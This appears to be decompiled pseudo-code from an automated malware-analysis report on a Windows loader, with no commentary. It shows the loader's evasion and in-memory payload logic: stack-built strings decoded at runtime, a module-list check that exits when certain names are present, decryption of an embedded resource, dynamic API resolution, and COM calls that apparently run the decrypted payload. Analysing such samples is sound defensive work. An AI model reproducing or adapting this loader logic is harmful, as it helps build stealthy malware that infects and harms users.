				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						FindCloseChangeNotification(_t525); // executed
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543); // executed
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x7504cf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

































































































                                        0x004019f0
                                        0x004019f0
                                        0x004019fd
                                        0x00401a10
                                        0x00401a15
                                        0x00401a1a
                                        0x00401a1f
                                        0x00401a24
                                        0x00401a29
                                        0x00401a2e
                                        0x00401a33
                                        0x00401a38
                                        0x00401a3d
                                        0x00401a42
                                        0x00401a47
                                        0x00401a4c
                                        0x00401a51
                                        0x00401a56
                                        0x00401a5b
                                        0x00401a60
                                        0x00401a65
                                        0x00401a6a
                                        0x00401a6f
                                        0x00401a74
                                        0x00401a79
                                        0x00401a7e
                                        0x00401a83
                                        0x00401a88
                                        0x00401a8d
                                        0x00401a92
                                        0x00401a97
                                        0x00401a9c
                                        0x00401aa1
                                        0x00401aa6
                                        0x00401aab
                                        0x00401ab0
                                        0x00401ab9
                                        0x00401aba
                                        0x00401abf
                                        0x00401ac7
                                        0x0040248d
                                        0x0040248d
                                        0x00402496
                                        0x00401acd
                                        0x00401ad6
                                        0x00401ae2
                                        0x00401ae6
                                        0x00401af1
                                        0x00401af6
                                        0x00401afb
                                        0x00401b00
                                        0x00401b05
                                        0x00401b0a
                                        0x00401b0f
                                        0x00401b14
                                        0x00401b19
                                        0x00401b1e
                                        0x00401b23
                                        0x00401b28
                                        0x00401b2d
                                        0x00401b32
                                        0x00401b37
                                        0x00401b3c
                                        0x00401b41
                                        0x00401b46
                                        0x00401b4b
                                        0x00401b50
                                        0x00401b55
                                        0x00401b5a
                                        0x00401b5f
                                        0x00401b64
                                        0x00401b69
                                        0x00401b6e
                                        0x00401b73
                                        0x00401b78
                                        0x00401b7d
                                        0x00401b85
                                        0x00401b8d
                                        0x00401b95
                                        0x00401b9d
                                        0x00401ba4
                                        0x00401ba9
                                        0x00401bae
                                        0x00401bb3
                                        0x00401bb8
                                        0x00401bbd
                                        0x00401bc2
                                        0x00401bc7
                                        0x00401bcc
                                        0x00401bd1
                                        0x00401bd6
                                        0x00401bdb
                                        0x00401be0
                                        0x00401be5
                                        0x00401bea
                                        0x00401bef
                                        0x00401bf4
                                        0x00401bf9
                                        0x00401bfe
                                        0x00401c03
                                        0x00401c08
                                        0x00401c0d
                                        0x00401c12
                                        0x00401c17
                                        0x00401c1c
                                        0x00401c21
                                        0x00401c26
                                        0x00401c2b
                                        0x00401c30
                                        0x00401c35
                                        0x00401c3a
                                        0x00401c3f
                                        0x00401c44
                                        0x00401c48
                                        0x00401c4f
                                        0x00401dc3
                                        0x00401dc4
                                        0x00401de0
                                        0x00401de2
                                        0x00401de7
                                        0x00401dec
                                        0x00401df1
                                        0x00401df6
                                        0x00401dfb
                                        0x00401e00
                                        0x00401e05
                                        0x00401e0a
                                        0x00401e0f
                                        0x00401e14
                                        0x00401e19
                                        0x00401e1e
                                        0x00401e23
                                        0x00401e28
                                        0x00401e2d
                                        0x00401e32
                                        0x00401e37
                                        0x00401e3c
                                        0x00401e41
                                        0x00401e46
                                        0x00401e4b
                                        0x00401e50
                                        0x00401e55
                                        0x00401e5a
                                        0x00401e5f
                                        0x00401e64
                                        0x00401e69
                                        0x00401e6e
                                        0x00401e73
                                        0x00401e78
                                        0x00401e7d
                                        0x00401e82
                                        0x00401e86
                                        0x00401e8b
                                        0x00401e96
                                        0x00401e9a
                                        0x00401ea4
                                        0x00401eaf
                                        0x00401eba
                                        0x00401ebf
                                        0x00401ec4
                                        0x00401ec6
                                        0x00401ecb
                                        0x00401ece
                                        0x00401ed2
                                        0x00401ed4
                                        0x00401eef
                                        0x00401ed6
                                        0x00401edd
                                        0x00401ee2
                                        0x00401ee6
                                        0x00401ee9
                                        0x00401ee9
                                        0x00401ef7
                                        0x00401efc
                                        0x00401f02
                                        0x00401f08
                                        0x00401f0c
                                        0x00401f15
                                        0x00401f18
                                        0x00401f1a
                                        0x00401f1c
                                        0x00401f22
                                        0x00401f22
                                        0x00401f24
                                        0x00401f28
                                        0x00401f2f
                                        0x00401f33
                                        0x00401f33
                                        0x00401f40
                                        0x00401f45
                                        0x00401f4a
                                        0x00401f4b
                                        0x00401f50
                                        0x00401f58
                                        0x00401f58
                                        0x00401f58
                                        0x00401f58
